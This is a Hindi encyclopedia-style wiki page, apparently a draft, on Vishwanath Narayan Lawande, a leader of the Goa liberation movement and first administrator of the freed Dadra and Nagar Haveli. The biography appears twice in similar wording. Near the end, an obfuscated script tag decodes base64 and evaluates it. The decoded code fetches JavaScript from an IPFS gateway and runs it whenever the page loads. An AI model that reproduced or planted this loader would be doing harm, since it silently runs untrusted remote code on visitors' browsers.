प्रयोग:दिनेश

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

विश्वनाथ नारायण लवांडे ( जन्म- 21 फरवरी, 1923, पुराने गोवा नगर) गोवा मुक्ति संग्राम के प्रमुख नेता एवं स्वतंत्रता सेनानी थे। उन्होंने गोवा को पुर्तगाली साम्राज्य से मुक्त कराने के लिये कड़ा संघर्ष किया।

परिचय

गोवा मुक्ति संग्राम के प्रमुख नेता विश्वनाथ नारायण लवांडे का जन्म 21 फरवरी 1923 ई. के पुराने गोवा नगर में एक मध्यमवर्गीय ब्राह्मण परिवार में हुआ था। उन्होंने मुंबई विश्वविद्यालय से बी. एस. सी. और कर्नाटक विश्वविद्यालय से एल. एल. बी. की परीक्षाएं उत्तीर्ण की। उसके बाद लवांडे केमिकल इंजीनियरिंग की डिग्री के लिए बनारस हिंदू विश्वविद्यालय में भर्ती हुए, किंतु शीघ्र ही वे गोवा के मुक्ति संग्राम में सम्मिलित हो गये। वे समाजवादी नेता अच्युत पटवर्धन और डॉक्टर राम मनोहर लोहिया से प्रभावित थे। लवांडे ने लोगों को साम्राज्यवाद के विरुद्ध तथा नवनिर्माण के प्रति जागृत करने का कार्य किया।[1]

गोवा मुक्ति संघर्ष

विश्वनाथ नारायण लवांडे का गोवा मुक्ति के लिये संघर्ष में बड़ा ही योगदान रहा है। 1942 के बाद उन्होंने अपना पूरा समय गोवा में संघर्ष में लगाया। 1946 में डॉक्टर लोहिया के साथ भाड़ गांव की सभा में पुर्तगाली साम्राज्य के विरुद्ध भाषण देने के कारण वे गिरफ्तार कर लिए गए। उसके बाद गिरफ्तारी और रिहाई का यह क्रम चलता रहा। 1947 में 'आजाद गोंगतक दल' नामक क्रांतिकारी संगठन बनाया जिसके विश्वनाथ नारायण लवांडे अध्यक्ष थे। इस दल की ओर से सरकारी कार्यालयों, पुलिस चौकियों, सरकारी कोषागारों आदि पर आक्रमण होने लगे। 'आजाद गोंगतक दल' ने जुलाई और अगस्त 1954 में सशस्त्र बल प्रयोग से दादर और नगर हवेली को पुर्तगालियों से मुक्त करा लिया। लवांडे को इन आजाद बस्तियों का प्रथम प्रशासक नियुक्त किया गया। दिसंबर 1961 में भारतीय सेना के हस्तक्षेप से गोवा स्वतंत्र हो गया।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. भारतीय चरित कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली |पृष्ठ संख्या: 807 |

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>[[Category:]]



। गोवा मुक्ति संग्राम के प्रमुख नेता विश्वनाथ नारायण लवांडे का जन्म 21 फरवरी 1923 ईस्वी के पुराने गोवा नगर में एक मध्यमवर्गीय ब्राह्मण परिवार में हुआ था। उन्होंने मुंबई विश्वविद्यालय से BSC और कर्नाटक विश्वविद्यालय से LLB की परीक्षाएं उत्तीर्ण की उसके बाद केमिकल इंजीनियरिंग की डिग्री के लिए बनारस हिंदू विश्वविद्यालय में भर्ती हुए, पर शीघ्र ही वे गोवा के मुक्ति संग्राम में सम्मिलित हो गये। लवांडे ने 1940 में भारत के स्वतंत्रता संग्राम में भाग लिया। वे समाजवादी नेता अच्युत पटवर्धन और डॉक्टर राम मनोहर लोहिया के संपर्क में भी आए। 1942 के बाद उन्होंने अपना पूरा समय गोवा में संघर्ष में लगाया। 1946 ने डॉक्टर लोहिया के साथ भाड़ गांव की सभा में पुर्तगाली साम्राज्य के विरुद्ध भाषण देने के कारण वे गिरफ्तार कर लिए गए गिरफ्तारी और रिहाई का यह क्रम चलता रहा।

किंतु शीघ्र ही गोवा वासियों ने समझ लिया कि सत्याग्रह से यहां की विदेशी सत्ता हटने वाली नहीं है। अतः 1947 में यहां 'आजाद गोंगतक दल' नामक क्रांतिकारी संगठन बनाया गया। इस दल की ओर से सरकारी कार्यालयों, पुलिस चौकियों, सरकारी कोषागारों आदि पर आक्रमण होने लगे। विश्वनाथ नारायण लवांडे इस दल के अध्यक्ष थे। इस दल ने जुलाई और अगस्त 1954 में सशस्त्र बल से दादर और नगर हवेली को पुर्तगालियों से आजाद करा लिया। लवांडे इन आजाद बस्तियों के प्रथम प्रशासक नियुक्त किए गए। दिसंबर 1961 में भारतीय सेना के हस्तक्षेप से गोवा स्वतंत्र हो गया। इससे पूर्व लवांडे वहां की अनेक संस्थाओं से संबद्ध रहे और लोगों में साम्राज्यवाद के विरुद्ध तथा नवनिर्माण के प्रति जागृत उत्पन्न करने वाले प्रमुख व्यक्ति थे। भारतीय चरित्र कोश 807